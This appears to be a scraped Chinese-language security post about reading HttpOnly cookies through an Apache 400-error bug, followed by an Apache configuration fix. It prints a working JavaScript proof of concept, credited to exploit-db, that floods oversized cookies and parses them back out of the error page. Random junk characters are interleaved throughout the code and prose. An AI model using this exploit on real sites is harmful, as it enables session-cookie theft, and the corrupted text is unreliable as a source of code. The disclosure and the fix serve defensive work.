很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
8 ? C+ C2 u, {7 G+ v, a8 ^* Y+ c# c" C
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
^4 ? J/ \6 R8 a# h$ Q* _
% ^. p5 K5 ^. s& o
. z! S$ U$ `2 ]( |. S// http://www.exploit-db.com/exploits/18442/( j* i6 D$ u, p+ h6 W6 N
function setCookies (good) {- G; q4 ?% \& m6 ?3 @( S5 \3 h
// Construct string for cookie value
5 q) Y9 O( B$ yvar str = "";1 t8 E$ s6 _- w5 K$ N
for (var i=0; i< 819; i++) {4 T7 m! y/ {: c9 P/ x
str += "x";
0 l) o: {* ]/ T! ?3 p8 R}0 R f7 R8 E' e' V
// Set cookies7 h' P' i* d2 i4 n* J" E
for (i = 0; i < 10; i++) {
3 `$ l# J! I' f// Expire evil cookie
, r0 y0 n8 m, ?! E8 A# Gif (good) {
9 v R$ H4 F4 ]7 }8 ?var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
' W1 B8 L; a' `9 d}7 c/ a8 w; k: P. `) u E" S
// Set evil cookie! r& a, {3 _1 [: Z! Q8 u/ Y5 S( q
else {
1 m8 Q6 ^0 \* a& [0 ^var cookie = "xss"+i+"="+str+";path=/";% l2 a) z& X5 `% o1 e% E5 b- d' G
}5 b6 `* }! _: H# x& D
document.cookie = cookie;2 S$ K# i3 y% P7 `" @
}
, N( D6 Y1 m% Z1 G) G}
! g3 A Z$ y- J; i$ Xfunction makeRequest() {
: s9 @2 _4 @) h H9 b4 ^setCookies();3 C; d8 }9 r4 ^3 _$ j$ o
function parseCookies () {
/ a1 _' e/ T+ U" R. l* zvar cookie_dict = {};: s {) k% W S! w' V! u1 E2 K
// Only react on 400 status
# r3 z! i+ `; A% q! a) [- o3 g _if (xhr.readyState === 4 && xhr.status === 400) {
5 r* B3 H+ [) g) [// Replace newlines and match <pre> content
6 E# G; u) @& u& J* _ [3 Qvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
* ]4 O% m% J: H* m3 q: w7 Zif (content.length) {
2 c2 ^$ e, r' p) x// Remove Cookie: prefix
$ `+ i3 P7 p# b" Z' M# Xcontent = content[1].replace("Cookie: ", "");% x; ~" g k6 l V
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
8 w G. {/ k/ d+ D% T t// Add cookies to object
/ W& R8 s0 L8 N4 B I5 Q: R# dfor (var i=0; i<cookies.length; i++) {! ~7 S$ e. [# I' \+ E
var s_c = cookies.split('=',2);
: ?3 u$ Z% q: Z6 t/ ~/ T9 g4 Ocookie_dict[s_c[0]] = s_c[1];
5 _( V' e" K0 \9 t: {5 N; [8 R. y, A}& |/ m# z8 w0 a, h( P8 u2 K
}
, F0 X0 D/ i! ]9 W- d0 U// Unset malicious cookies" O3 h! G1 G, l0 U' x5 }
setCookies(true);! g( V1 @% b8 k$ [ Y5 _* S
alert(JSON.stringify(cookie_dict));, r0 _/ U/ E2 z6 i
}4 l/ v0 \: K3 q
}
+ z+ M% X+ A1 G* V3 m// Make XHR request
8 }! N z' [3 m! ?+ }var xhr = new XMLHttpRequest();
/ @( }7 y# O* m4 u# I! {xhr.onreadystatechange = parseCookies;
0 O) |) Y- |1 E& h6 G0 qxhr.open("GET", "/", true);# _$ p% x0 ~2 Z
xhr.send(null);
; S H) q; C- K' `1 K}
; ~3 J* P, N& t. E9 c& S6 PmakeRequest(); @9 |( x$ r) E! u9 r l
/ I& [& b4 o0 I; A7 C: ?
你就能看见华丽丽的400错误包含着cookie信息。/ i( |' \7 I* M% @
) c w* t8 C2 Q. J# O" y
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
$ A ]) M) a! R5 ~# f+ Q: r# A, G$ t% ?2 J& M3 T
修复方案:
: h# F2 n2 W- _; {$ N# A. r
9 d# ^/ P4 d1 _( p nApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
w, P5 f" x i* Z* v
^0 T7 D" W7 s" `In the event of a problem or error, Apachecan be configured to do one of four things,
) u& `; R/ D! i
9 c, _; O1 L8 E0 g4 v. n- f6 s k. Q1. output asimple hardcoded error message输出一个简单生硬的错误代码信息" p. D$ h+ b3 D% Y% T d
2. output acustomized message输出一段信息
4 M* N: ]/ z* g5 s3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ( I# B& ?/ g' Z4 \
4. redirect to an external URL to handle theproblem/error转向一个外部URL1 i! N2 x7 Y- I p# {6 ~) O3 t: O/ n- D1 G
7 o* m8 }/ a7 \+ R. l经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
. H6 ^) x! n ^) k. C h0 B/ R
3 z _# v" C! Y. V2 ~/ iApache配置:$ M# U& }9 c- `/ m
! g% X% {, F$ vErrorDocument400 " security test"
/ m$ |. O+ B5 Q! c; T1 H2 O I+ B5 G( z0 b
当然,升级apache到最新也可:)。
$ u( X7 L& N8 e! b3 w) P
3 I, [ U" H# K6 U* U参考:http://httpd.apache.org/security/vulnerabilities_22.html' @: Q& I! V0 ^0 \% m7 G- q
, J4 M# U, _( S3 y% W
|